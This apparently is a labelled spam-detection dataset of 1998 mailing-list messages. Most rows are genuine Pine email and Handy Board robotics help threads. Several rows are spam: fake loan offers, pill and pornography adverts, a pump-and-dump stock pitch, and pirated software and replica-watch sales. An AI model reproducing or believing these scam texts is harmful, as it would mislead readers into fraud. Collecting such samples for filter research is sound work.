Jan 1998, NANCY RISKIN wrote: > please hjepleasehelp > > > > > > > Nancy Riskin > > ",0,0 Daniel Kornhauser Eisemberg ,handyboard@media.mit.edu,"Mon, 19 Jan 1998 19:45:30 -0600",Stepper motor," Hi, I trying to make a home page about interfacing handy board with stepper motors, I hope it has enought quality to add a little contibution to the handyboard effort. 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If you want to see > these custom headers each time you compose a message, you must add them to > your default composer headers list (see above), otherwise they become part > of the rich header set which you only see when you press the rich header > (Ctrl-R) command. is it possible to change the Reply-To: and From: Header Tags to different ones for each folder I use? I have folders for each of my email-addresses, and I want to use different Headers for each of my addresses... thanx for your help.. ",0,0 �ѹ��� ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 20 Jan 1998 00:45:21 -0200",�ڡڡڡڡ� �ѹ� �ۼ����� 5 0 0 0 �� ������ �� �� �� �����մϴ�. �ڡڡڡڡ� . kdnzfoii cqvkq,���� ���� gq i nhy xzj uyf obfj tztgzgetngmtwfmg ecv czqrw o d o,1,1 Norbert Koch ,Pine Discussion Forum ,"Tue, 20 Jan 1998 11:47:23 +0100",Re: reply to address,">>>On Tue, 20 Jan 1998 11:13:25 +0100 (MET), Thomas Binder said: TB> On Fri, 16 Jan 1998, Robin S. Socha wrote: >> Oops... That's ""customize headers"" in fact: OPTION: >> Customized-Headers >> >> You may add your own custom headers to all outgoing messages. >> Each header you specify here must include the header tag >> (Reply-To:, Approved:, etc.) and may optionally include a value >> for that header. If you want to see these custom headers each >> time you compose a message, you must add them to your default >> composer headers list (see above), otherwise they become part of >> the rich header set which you only see when you press the rich >> header (Ctrl-R) command. Hi, TB> is it possible to change the Reply-To: and From: Header Tags to TB> different ones for each folder I use? I have folders for each of TB> my email-addresses, and I want to use different Headers for each TB> of my addresses... not that I know of. In this case I advice you to start pine with different, folder-dependent configuration files - not very satisfactory, though. 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The next observing periods are Jan 22: 14:03 to 20:03 Jan 23: 15:00 to 21:00 Jan 26: 15:47 to 21:47 ",0,0 Noone Special ,Pine Discussion Forum ,"Tue, 20 Jan 1998 08:44:51 -0500","Re: Don't want to include ""Cc"" names in the message.","(>STN>) On Tue, 20 Jan 1998, Srinivasa T.N. wrote: >STN> Hi, What should I do such that the mail-ids I am entering at ""Cc:"" >STN> will not be sent along with the message. (I am using Pine 3.96). There is a header called ""Bcc,"" which stands for ""Blind Carbon Copy"" that you can use for that. You can get the header to appear by selecting the ""Rich Headers"" command while editing anything in the header section of your message (IE while typing in the Subject) The command for rich headers should be listed at the bottom of your screen while in these sections. If you can't find the command, just keep looking.. It's there. Whatever addresses you put in the Bcc field will recieve the message, but will not see the other recipients of it. Pat ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Tue, 20 Jan 1998 21:54:50 +0800","Re: Don't want to include ""Cc"" names in the message.","On Tue, 20 Jan 1998, Srinivasa T.N. wrote: > What should I do such that the mail-ids I am entering at ""Cc:"" will not > be sent along with the message. (I am using Pine 3.96). With your cursor in the header area type ctrl-r to reveal the ""rich headers"". Then put the addresses in the Bcc: field. Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Tue, 20 Jan 1998 09:29:43 -0600",Re: ASCII Transfers,">From: Raymond Reese >Date: Tue, 20 Jan 1998 02:51:48 -0800 (PST) >There is no winning when the opponent beleives he sees all and knows all! >Don't bother me! I said I was done with you and just leave it at that!!!! Wow. You're my enemy? This list is attracting deranged people. >On Sun, 18 Jan 1998, Adam H. Kerman wrote: >>>From: Raymond Reese >>>Date: Sun, 18 Jan 1998 15:14:58 -0800 (PST) >>>As for you crude comment regarding Cursor keys. If you don't know what the >>>hell cursor keys are or how to use them in conjunction with bulletin >>>boards and the like, then I it's obvious what your skill level is. >>>If you object strongly to what I have said in the foregoing, life is >>>tough! I have no need for your inane banter. I will no longer request help >>>in the manner that I did. >>I'm so glad that you've solved problems on your own, and can afford to insult >>anyone trying to help. >More inane banter I gather from someone who knows it all!!! >How long do you want to keep this up? Your next reply, if any, will be >deleted before I even read it. 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So consider what happened will you?: a) You posted a question (off-topic) for help with terminal matters. b) You were answered by Adam. (I saw your post and had I known the answer I would have replied too, but I didn't) His advice was correct, and his manner helpful, and he added the necessary comments he felt necessary. BTW he was contextually correct. c) Your response to someone who tried to help you was abusive, derogatory in content, ill-mannered, and you acted like an ingrate. You reply was completely 100% uncalled for period. d) You then follow this whopping act of poor judgement with even more rhetoric along the same lines????? For goodness sake, take a moment and think about exactly what you did. As a highly esteemed list colleague and friend recently observed to another errant know-nothing on this list; ""Being you must really suck. People like Adam rule and you suck"" You owe Adam an aplology, have the sense of decency to (at least) email him privately and do just that. Spare yourself public embarrasment and do that decent thing. No-one is asking you to do as others have done, and apologize publicly, that takes courage that you clearly don't have. Just do it privately, and go away having learned something. You will otherwise be judged by everyone on this list to be spineless, lacking any ethical or moral standards, and not worthy of a response from any single list member in the future. -Colin. ----------------------- Colin J. Raven HDS Lab, Inc. Network & Systems Administrator. Costa Mesa CA | Harrison NY ""Rude people are like a bag of old garbage, the longer it's around the more it stinks"" ",0,0 Drachen ,Pine Discussion Forum ,"Tue, 20 Jan 1998 08:11:22 -0800","Re: Don't want to include ""Cc"" names in the message.","yes, as long as you are running a rfc compliant smtp server .. (at least I'm fairly sure that Bcc is in the rfc.if it's not, well, flame me to a crisp :) I'm too lazy to go check it myself) if you don't understand the first sentence, then don't worry about it, the answer is most likely yes (like in 99.99999% of the cases I know of..) If you're a really paranoid sort, test it by Bcc'ing yourself about four times and look at the headers, if you don't see it, no one else will. Vinnie On Tue, 20 Jan 1998, Y M Kung Charles wrote: > > Whatever addresses you put in the Bcc field will recieve the message, but > > will not see the other recipients of it. > > > > > > Pat > > > > > > > > Even the receiver display the full header of the mail? > > Charles > > > > ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Tue, 20 Jan 1998 08:10:06 -0800",Re: Decoding base64 files,"If you are using Pine, the procedure is fairly simple. hit ""v"" to view ""s"" to save (the part of the message that you need to read/see) This saves it to your local drive. Use WS_FTP or similar FTP software to FTP it down to your local machine, then you'll have to open/view it using whatever software it was written/composed with. Hope this helps, and good luck! -Colin On Tue, 20 Jan 1998, R.V. Raman wrote: > Hi ! > > Please tell me how I should decode a file attatchment encoded in base64 > encoding format. > > Kindly give full procedure. > > Thanks > Ganesh > ",0,0 Teddy Burt ,handyboard@media.mit.edu,"Tue, 20 Jan 1998 01:40:28 -0600",We can approve yours loan bz1tl,"Dear Homeowner, handyboard@media.mit.edu http://joerate.com/goodstep You have been approved for a $ 596,654 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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We downloaded pcode_hb.s19 successfully according to the downloader. We turn on the board, the LCD is still blank, the green power LED is lit, and the board will not respond when we attempt to run interactive'c'. We are pretty much at a loss right now. Any help/advise you can give would be greatly appreciated. Thank You Rob Harman ",0,0 vandeweg@parlance-ncs.com,nolasco@inx.net,"Tue, 20 Jan 1998 10:59:54 -0500",Re: New S19 with includes PWM routines for IC3.1?,"I started on putting in the new PWM routines, but I don't expect to be able to finish until this weekend. - Mike ",0,0 Einar Polk ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 20 Jan 1998 04:29:43 -0700",Re: quyas news,"De m ar Home O i wne e r , Your c p redi t t doesn't matter to us ! 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Ostrander"" ",Pine Discussion Forum ,"Tue, 20 Jan 1998 11:56:56 -0800",problems expunging???,"i have a problem... everytime i try to expunge messages from my inbox a prompt appears that says ""can't expunge from inbox because it is being used by another process."" what does this mean and how can i expunge again...? thank you jeremy ostrander ",0,0 Rick Moll ,"MAR ERICSON , HandyBoard ","Tue, 20 Jan 1998 13:39:52 -0600",Re: [Q] power supply for polaroid sonar,"MAR ERICSON wrote: > I haven't seen the schematic you're refering to but I believe you can use > the +5V bus already on a standard HB. Just connect your PWR/GND to one of > those headers ""below"" one of the A/D inputs. I did this before and it > worked. Apparrently, the 1A +5V regulator can handle the 2A surges the > sensor loads. I haven't tried this on the HB; but I have with other processors. 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For instance, when I press the up arrow in Pine's main menu screen, pine responds with ""^K is not defined for this screen"". Answer: By default, Pine will not accept any key sequence that doesn't start with an ESCape. This was done for historic reasons. There is a way to activate full termcap/terminfo support though, which should give you what you want. To accomplish this, append ""-DTERMCAP_WINS"" to the lines defining the ""STDCFLAGS="" in both pico/makefile. and pine/makefile.. Next, do a complete rebuild: you're in business! You should be aware that certain Ctrl-key based commands in Pine and Pico will not work on a Wyse 50, since these commands are identical to the values returned by some of the edit keys (which now have precedence). Most noticeably Ctrl-^ (Mark) and Ctrl-K (Cut) will now act as Home and Cursor-Up respectively. To use Mark and Cut, press ESC ESC ^ and ESC ESC K instead. In Pine, ESC ESC is always available as an alternate to pressing Ctrl-. This ""problem"" can be avoided on the Wyse 60 terminals by selecting a TERM entry that programs the cursor keys with ANSI sequences. Usually, these entries have the extension ""ak"" tagged to then (for ANSI Key, I guess).",0,0 Don Allaire ,Pine Discussion Forum ,"Tue, 20 Jan 1998 18:08:56 -0600",Main Menu bar misalignment.,"Hello: This is again for the archives. Question: I am having a problem with the main menu highlighter bar displaying incorrectly with all versions of wyse50 emulating terminals, and emulation software. The menu bar is wrapping the screen, therefore when one arrows up or down, the menu bar gets very unreadable or disappears. Answer: While scanning through various termcap databases on Wyse50 terminals, I found this helpful piece of info. Apparently, wyse30 and wyse50 terminals have an inherent standout mode glitch which occasionally cause problems like the ones I experienced with the menu bar in Pine's main menu. These terminals support a ""PROTECT"" sequence on/off that has no standout-glitch (xmc), while the regular ""attribute"" stuff enabled with G'some-character' gives a 1-space glitch. All but the very old revision firmware on both terminals support a visible PROTECT attribute that's selectable by the ol' SETUP menu. (The older rev. terminals do support PROTECT attribute but only have the options REGULAR and DIM) Get into your terminal's SETUP menu, and down-key to the 5'th menu (on a wyse 30; I think 3'rd or 4'th on a wyse 50) and right-key over to the PROTECT item. Change PROTECT to REVERSE or REVERSE/DIM, and go over to the next item -- ATTRIBUTE and change it to LINE; then save the changes. The next thing that you will need to do is change your termcap database so that it uses the proper escape sequences to turn on/off the protect sequence rather than the very-ugly \\EG4 and \\EG0. You do this by changing standout to \\E), standend to \\E(, and glitch to 0, which means changing the so, se, and sg fields to so=\\E) se=\\E( sg#0 I actually didn't have to change my terminals in my circumstance, as the terminal change had already been made. However when I made the small change to the wy50 termcap entry, the menu bar started working like it was supposed to. The above information was presented in the termcap database comments, and written by steve@omni.com I hope that this helps someone else as it did myself.",0,0 Flaithri Normandin ,handyboard@media.mit.edu,"Tue, 20 Jan 1998 08:04:13 -0700",Re: AgMBtEN news,"Hi, C X V L V P A I a A e I r m A n L v A o b L a I i G z i I x U t R a e S M r A c n a http://www.ivronsiname.com smiling. Youll be the threat I hold over his peasant head. Still, for his age hes remarkably competent. Thats because I feed him a lot of pills, all kinds of pills, Dimitri. Now tell us, what happened? What happened? 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Did Johnny- ",1,1 Sandra ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 20 Jan 1998 11:42:18 -0700",Group pleasant teens hardcoree!," Do you want splendid viirgin Teens? http://onlinebiggame.info/fpof.htm?iSPhfd.fX,hj U,N,S,,U,B,S,C,R,I,B,E http://onlinebiggame.info ",1,1 Sonam Chauhan ,handyboard@media.mit.edu,"Tue, 20 Jan 1998 18:23:14 -0500",Sorry!,"Hello everyone, From my mail yesterday: > I'm trying to outfit a Motorola 68HC12 evaluation board as a handyboard > robot controller. Since ***Randy Sargeant's Handyboards'*** use the 68H11 This is a quick note of apology for referring to the Handyboard as ""Randy Sargeant's Handyboard"" (thus unintentionally downplaying Fred Martin's contribution.) It was particularly inappropriate in this mailing list to which Fred selflessly devotes so much time and effort. Best regards, - Sonam Chauhan PS: I'd be grateful for any inputs on my earlier mail -- about wiring up a Motorola HC12 Eval kit as a Handyboard. ------------------------------------------------ WWW Homepage: http://www.csee.usf.edu/~chauhan Email: sonam@acm.org Phone: (1-813) 6151435 ------------------------------------------------ ",0,1 Darlene Mata ,Desiree ,,Re [7]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://lklluyp130.pinkflowersyrup.com ",1,1 Ronald Davis ,Pine Discussion Forum ,"Tue, 20 Jan 1998 22:32:26 -0800",messages disappear do not remain,"Something wrong here? I read my Jan 20 messages. Closed the computer down reopened it to find a way to note that my previous messages Jan 18 and 19 were gone.. and then the 20 Jan ones went also? Where RGDavis rgdavis@sfsu.edu ",0,0 Scott Seaton - Systems Consultant - ESG ,"handyboard@media.mit.edu, nolasco@inx.net","Wed, 21 Jan 1998 14:50:42 +1100",Re: New S19 with includes PWM routines for IC3.1?,"Hi I've ported the changes (Julian Skidmore's mod) to the IC 3.1 pcode source code: (available from ftp://newtonlabs.com/pub/pcode/pcode31.exe) But I don't have anywhere outside a corporate firewall to put the files (a new pcode_hb.s19 and a modified lib_hb.c file - 27k in all) ! I'm also concerned about putting modified copyrighted files on the net, without getting permission from the copyright owner.... I've cc'd this message to Randy Sargent of Newtonlabs - If Randy says it's OK then I'll forward the files to Fred for inclusion on the HandyBoard WWW site. Scott ",0,0 Jun Nolasco ,Scott Seaton - Systems Consultant - ESG ,"Tue, 20 Jan 1998 23:30:47 -0500",Re: New S19 with includes PWM routines for IC3.1?," That would be great! Looking forward to it. Jun Nolasco nolasco@inx.net Scott Seaton - Systems Consultant - ESG wrote: > Hi > > I've ported the changes (Julian Skidmore's mod) to the IC 3.1 pcode source code: > (available from ftp://newtonlabs.com/pub/pcode/pcode31.exe) > > But I don't have anywhere outside a corporate firewall to put the files (a new > pcode_hb.s19 and a modified lib_hb.c file - 27k in all) ! > > I'm also concerned about putting modified copyrighted files on the net, without > getting permission from the copyright owner.... > > I've cc'd this message to Randy Sargent of Newtonlabs - If Randy says it's OK > then I'll forward the files to Fred for inclusion on the HandyBoard WWW site. > > Scott ",0,0 Ulf Winkler ,Pine Discussion Forum ,"Wed, 21 Jan 1998 10:42:03 +0100",question,"Dear Sirs, I have one question: Is it possible using Pine 3.96, if one composes a message to a distribution list, that means to several different addresses, to send this message in one step in such a way that any receiver of the message cannot read in the hader who else has got the same message? If this is not possible I would like to make the suggestion to allow this option in future versions of pine. With my best regards, Ulf Winkler, Leipzig, Germany ",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 21 Jan 1998 10:57:39 +0100",Re: question,">>>On Wed, 21 Jan 1998 10:42:03 +0100 (MEZ), Ulf Winkler said: Hi (Hallo :-), UW> Dear Sirs, I have one question: Is it possible using Pine 3.96, UW> if one composes a message to a distribution list, that means to UW> several different addresses, to send this message in one step in UW> such a way that any receiver of the message cannot read in the UW> hader who else has got the same message? If this is not possible UW> I would like to make the suggestion to allow this option in UW> future versions of pine. UW> With my best regards, That was in comp.mail.pine yesterday ... while composing a message move the cursor into the header region and press ctrl-r (rich header). Then write the list of addressees into the field Bcc: (blind carbon copy) and noone will know who else has got the message (even if all header options are on, as has been stated in the other thread). l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Edward M Greshko ,Pine Discussion Forum ,"Wed, 21 Jan 1998 18:08:57 +0800",Re: question,"On 21 Jan 1998, Norbert Koch wrote: > >>>On Wed, 21 Jan 1998 10:42:03 +0100 (MEZ), Ulf Winkler said: > > Hi (Hallo :-), > > UW> Dear Sirs, I have one question: Is it possible using Pine 3.96, > UW> if one composes a message to a distribution list, that means to > UW> several different addresses, to send this message in one step in > UW> such a way that any receiver of the message cannot read in the > UW> hader who else has got the same message? If this is not possible > UW> I would like to make the suggestion to allow this option in > UW> future versions of pine. > > UW> With my best regards, > > That was in comp.mail.pine yesterday ... while composing a message > move the cursor into the header region and press ctrl-r (rich > header). Then write the list of addressees into the field Bcc: (blind > carbon copy) and noone will know who else has got the message (even if > all header options are on, as has been stated in the other thread). An even better way would be to use the Lcc: field. Go to the Lcc: field in the ""rich headers"" area and type ctrl-g for more information... -- Edward M. Greshko Technical Manager, Electronic Commerce GSM: +65-975-10860 Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE",0,0 Norbert Koch ,Pine Discussion Forum ,"Wed, 21 Jan 1998 11:20:55 +0100",Re: question,">>>On Wed, 21 Jan 1998 18:08:57 +0800 (GMT), Edward M Greshko said: UW> Dear Sirs, I have one question: Is it possible using Pine 3.96, UW> if one composes a message to a distribution list, that means to UW> several different addresses, to send this message in one step in UW> such a way that any receiver of the message cannot read in the UW> hader who else has got the same message? If this is not possible UW> I would like to make the suggestion to allow this option in UW> future versions of pine. >> UW> With my best regards, >> That was in comp.mail.pine yesterday ... while composing a >> message move the cursor into the header region and press ctrl-r >> (rich header). Then write the list of addressees into the field >> Bcc: (blind carbon copy) and noone will know who else has got the >> message (even if all header options are on, as has been stated in >> the other thread). EMG> An even better way would be to use the Lcc: field. Go to the EMG> Lcc: field in the ""rich headers"" area and type ctrl-g for more EMG> information... Hi Ed, yes you may be right, but I wasn't sure whether 'distribution list' refers to a mailing-list or to a list of recipients locally created in the user's address book. But maybe, it's all the same ... I'm not that much into pine (it's gnus, yes it is :-) cheers, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 AYearsWorth ,"""mailarch+pine-info@groupms.cac.washington.edu"" ","Tue, 20 Jan 1998 23:10:27 -0700",Your Car Payments On Us mailarch+pine-info@groupms.cac.washington.edu," 5/1/2006 - 7:50 PM Hi Cecil@em.ca, Cecil@em.ca which Tunnel did you choose? The correct tunnel leads you to 5000 Dollars toward a new car. http://grnspd.heartdatesource-now.info/redir.aspx?id=373312&email=Cecil@em.ca Make your choice now. It's fun and easy. Your chance to win 5000 is right here: http://grnspd.heartdatesource-now.info/redir.aspx?id=373312&email=bait-excelled@em.ca This message is a solicitation. If you wish to opt-out from further heartdate.info e-mails, please proceed here. http://grnspd.heartdatesource-now.info/settings.asp?gspdid=78148&setid=269&email=Cecil@em.ca&so=72112339 You can also write to us at: heartdate.info Opt-Out Department 6311 Van Nuys Blvd #403 Van Nuys, CA 91401 ",1,1 Helen Streett ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 20 Jan 1998 23:12:38 -0700",Re: your VAwLtUM,"Hi X A L V P V C a m e I r A I n b v A o L A a i i G z I L x e t R a U I n ra A c M S http://www.atempervenne.com insisted on having the Gollum story, riddles and all, told all over again, with the ring in its proper place. But after a time the light began to fail, and then other questions were asked. Where were they, and where was their path, and where was there any food, and what were they going to do next? These questions they asked over and over again, and it was from little Bilbo that they seemed to expect to get the answers. ",1,1 """Feigenblatt, Bob LT"" ",handyboard@media.mit.edu,"Wed, 21 Jan 1998 07:22:51 -0500",HANDY-BOARD EXPANSION," Where may I purchase the HP expansion board (built & tested)? If that is not available, where may I find the source code for the PIC on the expansion board? My old univ. robot team (most are still in school in one capacity or another) and I (personal hobby use) would be very interested. Thank you. Bob Feigenblatt bfeigenblatt@navcen.uscg.mil COCO NEUS/GLKS 703-313-5887 ",0,0 Andrew M Ruggiero ,Pine Discussion Forum ,"Wed, 21 Jan 1998 11:46:45 -0500",,"I seem to have a little problem. Everytime I try to sign on to my pine program its telling me there is an error and I haven't a clue how to it. ",0,0 Lea ,Pine Discussion Forum ,"Wed, 21 Jan 1998 09:55:46 -0700",Re: your mail,"On Wed, 21 Jan 1998, Andrew M Ruggiero wrote: > I seem to have a little problem. Everytime I try to sign on to my pine > program its telling me there is an error and I haven't a clue how to it. Neither do we, with no information...Are you able to actually log on to your account, or is that where the problem lies? WHat is the exact text of the error message you're getting? Lets start there... Lea ----------------------------------------------------------------------------- Marianne Aldridge (Lea) CNS Consulting Team; Helpdesk maldridg@gpu.srv.ualberta.ca OR helpdesk@gpu.srv.ualberta.ca 492-9380 (voicemail) OR 492-9400 (helpdesk) http://www.ualberta.ca/~maldridg/tutor/Tutorials.html http://gpu.srv.ualberta.ca/~maldridg/Wiz/Wizard '...But I didn't mean to be brave; it just sort of happened when I panicked...' -Piglet ----------------------------------------------------------------------------- ",0,1 Drachen ,Pine Discussion Forum ,"Wed, 21 Jan 1998 08:59:18 -0800",Re: your mail,"can you tell us exactly what the error says. Vinnie On Wed, 21 Jan 1998, Andrew M Ruggiero wrote: > I seem to have a little problem. Everytime I try to sign on to my pine > program its telling me there is an error and I haven't a clue how to it. > > > > ",0,0 """Howard J. Snyder"" ",Pine Discussion Forum ,"Wed, 21 Jan 1998 11:22:48 -0600",printing messages,"I have not been able to print a copy of any of my messages for future reference. Could you please tell me how to accomplish this? My e-mail address is: hsnyder@ua1ix.ua.edu I use the command as shown at the bottom of the screen but nothing happens at the printer. Thanks ",0,0 Lea ,Pine Discussion Forum ,"Wed, 21 Jan 1998 10:40:29 -0700",Attn ROBIN," Sorry, guys...Robin, could you please e-mail me off-list with your working e-mail address. I don't have it, and the sushi one is (of course) bouncing. Thanky. Lea ",0,0 Drachen ,Pine Discussion Forum ,"Wed, 21 Jan 1998 09:48:27 -0800",Re: printing messages,"sounds to me like your computer and printer are not configured to talk to eachother properly. Your best bet would probably be to get your local techie type person to get computer and printer talking. Once that happens, it's likely that you will be able to print out of pine correctly. Meanwhile, try the {E}xport command. It saves paper :) Vinnie On Wed, 21 Jan 1998, Howard J. Snyder wrote: > I have not been able to print a copy of any of my messages for future > reference. Could you please tell me how to accomplish this? My e-mail > address is: hsnyder@ua1ix.ua.edu I use the command as shown at the > bottom of the screen but nothing happens at the printer. > Thanks > > > > > ",0,0 Rosario Schmitt ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 21 Jan 1998 10:46:52 -0540",[re:] Biggestnews shows promise,"New Release This one is from the Oil Sector. We expect great things. CTXE - CANTEX ENERGY CORP Big News Expected Monday! PRICE: 0.70 5 Day expected 2.12 Thursday was another great day of movement! Todays gain 0.16 (25.40%) Just as we promised. Starting to climb up .16 already today. Friday should be even better! A very large marketing campaign has started today and will run thru the weekend. In past campaings we have seen things really get moving with an offer like this. Cantex Energy Corp. Update on the Seismic Program for Big Canyon Ranch Project Friday April 21, 9:30 am ET SAN ANTONIO, TX--(MARKET WIRE)--Apr 21, 2006 -- Cantex Energy Corp. Management wishes to update its shareholders on the seismic program being undertaken on the 48,644 acres Big Canyon Prospect in West Texas. The Company is very pleased to confirm that the extensive geophysical program to be undertaken with Providence Technologies will commence in May 2006 with the recent confirmation of securing Quantum Geophysical, Inc. to conduct the 40 mile seismic shoot known as Big Canyon 2D Swath. Trace Maurin, president of Cantex, states, ""In today's market, getting a seismic operator is as difficult as trying to get a drilling rig and we are happy to inform our shareholders that we are now very close to proving up the world class potential reserves in the Val Verde play."" This 2D Swath design is licensed by Providence Technologies, which is a unique application that has proved to be effective in the Val Verde Basin where our Prospect is situated. Upon completion of the first swath and data processing it will give a good picture of the structure, and completion of the second swath will give an idea of closure. Cantex Energy Corp. is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. The Company's additional focus is the optimal exploitation and development of approximately 1,200 acres known as the West Ant Hills Prospect located in Niobrara County, Wyoming. ",1,0 """Disenfranchisement V. Longingly"" ",Bait ,"Wed, 21 Jan 1998 06:40:40 -0400",Software,"Looking for cheap high-quality software? soft at incredibly low prices New software on our site: Office 97 SR2 - $49.95 Photoshop Elements 3.0 Windows - $59.95 Windows 2000 Professional - $59.95 Windows 2000 Advanced Server - $69.95 Windows 2000 Professional - $59.95 Dreamweaver MX 2004 $69.95 Office 97 SR2 - $49.95 Acrobat 6 Professional - $79.95 Money 2004 - $69.95 Visio 2003 Professional - $69.95 Photo Painter 8 - $59.95 Office 2000 Premium Edition PE (2CD) - $59.95 Office XP Professional - $79.95 Director MX 2004 - $69.95 Our site: http://3ara8frmra9g4llgq33yqll3.masorethgb.com/ ",1,1 Alan Kiplinger ,solcoord-send@proton.sel.noaa.gov,"Wed, 21 Jan 1998 14:14:22 +0700",Filament target for VLA/SOHO/YOHKOH Jan 22 & Jan23 1998," The target filament for observations on the 20th erupted between 04:00 and 06:03 UT on the 21st. Accordingly a new target has been selected for the 22nd and 23rd. It is a filament located at S08E08 at 09:52 UT on the 21st. VLA observations are from 14:03-20:03 UT on the 22nd when the darkest part of the filament should be located at S08W07. Unless it erupts, the same target is planned to be the target on Jan. 23 when VLA observations will occur from 15:00 UT to 21:00 UT. Note collaborative observations outside of VLA observing periods are of value as the observations taken on the 21st during the eruption hopefully will show. We plan to issue target information for the final observions of the 26th on the preceeding day. ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 21 Jan 1998 21:14:25 +0100",Re: Attn ROBIN,"> Lea writes: L> Sorry, guys...Robin, could you please e-mail me off-list with your L> working e-mail address. I don't have it, and the sushi one is (of L> course) bouncing. I could, but I won't since several people seem to have had problems with that. My above address is valid and has been for months. Ummm... what do you guys all do with your addressbooks? }:-> Cheers, Robin -- Robin S. Socha This message not brought to you by Microsoft. Inventors of multitasking, windowing, graphical user interfaces, the 32 bit OS, the Internet, the wheel, fire, air, and God.",0,0 Rick Gaine ,Pine Discussion Forum ,"Wed, 21 Jan 1998 15:09:03 -0500",Pine imap and folders," I know that Pine has the ability to allow for remote mail checking via imap by changing the inbox path to {server}INBOX. My question is, can you set up pine to allow you to check remote servers by selecting another folder? I see this as a useful feature. If this does exist, how do I do it? Rick ",0,0 """Peter G. Sutherland, Dean of Science"" ",Pine Discussion Forum ,"Wed, 21 Jan 1998 15:19:29 -0500",bug report in Pine 3.96,"I can save messages to a folder with a name like A&B but Pine won't accept the '&' as part of a folder name in the header-option ""Fcc"". Peter =========================================================================== Peter G Sutherland | (905) 529-7070 ext. 22616 GSB-114 Dean of Science | (905) 546-9995 FAX Physics & Astronomy | (905) 529-7070 ext. 23189 ABB-317A Hamilton, Ontario | (905) 525-6633 Home Canada L8S 4M1 | pgs@mcmaster.ca =========================================================================== ",0,0 Gary ,mailarch+pine-info@groupms.cac.washington.edu,"Wed, 21 Jan 1998 20:36:56 +0800",Re-finance quote-NO credits checked-Instant Approval,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.n84n.com Don't worry about approval, your credit will not disqualify you! Sincerely, Gary Approval Manager ",1,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Wed, 21 Jan 1998 21:37:46 +0100",Re: bug report in Pine 3.96,"> Peter G Sutherland, Dean of Science writes: Hello, Peter G Sutherland, Dean of Science, PGSDoS> I can save messages to a folder with a name like A&B but Pine PGSDoS> won't accept the '&' as part of a folder name in the PGSDoS> header-option ""Fcc"". Try quotes. Don't use special characters in pathnames. Never. Your signature is too long, and lacks sigdashes ""-- "". Robin -- Robin S. Socha Political Science Dept., Bonn University I've got my nose pierced. :-) (Judy Kobza) Shouldn't that be :+) ???? (Frank van der Hulst) ",0,0 ratechao@126.com,060511OK,,改變一生就趁現在!!!,"新增網頁1 ""報名彈性工作增加收入，索取 免費創業電子書"" 　 1. 對在家創業有興趣是因為 : 　 (1)以有限的資金，成就自己能夠永續經營的事業 　 (2)不用再看老闆臉色 　 (3)拓展自己的人生歷練 　 (4)想試試在家工作是否可行 　 (5)可以有多點時間給家人 　 (6)想賺點外快貼補貼補 　 (7)讓生活更豐富，不再困守辦公室 　 (8)另有原因 　 2.希望每月能增加多少收入 : 　 (1)10,000元以內 　 (2)10,000 ~ 30,000元 　 (3)30,000 ~ 60,000元 　 (4)60,000 ~ 90,000元 　 (5)10萬，30萬，60萬元以上 　 3.每週有多少時間可以投入 : 　 (1)15小時以內 　 (2)15-20小時 　 (3)20-25小時 　 (4)25-30小時 　 (5)30-35小時 　 (6)全職投入，不計代價 　 4. 哪一項敘述最符合是你目前的情況: 　 (1)您很滿意您近5年來的生活與工作方式，您不太想有所改變，只想增加一些額外的收入 　 (2)您想先從了解在家創業系統與產品開始，當有強烈信心時，才會投入工作 　 (3) 對近5年來的生活與工作方式不太滿意,很想改變目前的狀況，離開辦公室，自己在家創業當老闆，您已作好準備　                             ""報名彈性工作增加收入，索取 免費創業電子書""",1,1 Daniel Paraguass� Assump��o ,Pine Discussion Forum ,"Wed, 21 Jan 1998 18:06:36 -0300",How can I get the QL2FAX aplication?,"To whom it may concern; I'm writting you 'cause you are the only person I've found on the Internet who has some information about the aplication QL2FAX. I'm having some problems on connecting a freind of mine via The Hyperterminal,and the info I got was that my friend and I must have this aplicattion installed in order the connection to take place. I aprecciate any help of yours; Sincerly; Daniel Assumpção ",0,0 Randy Sargent ,"Scott Seaton - Systems Consultant - ESG , ""Hi > >I've ported the changes (Julian Skidmore's mod) to the IC 3.1 pcode source code: >(available from ftp://newtonlabs.com/pub/pcode/pcode31.exe) > >But I don't have anywhere outside a corporate firewall to put the files (a new >pcode_hb.s19 and a modified lib_hb.c file - 27k in all) ! > >I'm also concerned about putting modified copyrighted files on the net, without >getting permission from the copyright owner.... > >I've cc'd this message to Randy Sargent of Newtonlabs - If Randy says it's OK >then I'll forward the files to Fred for inclusion on the HandyBoard WWW site. > >Scott >",0,0 Jeff Beard ,Pine Discussion Forum 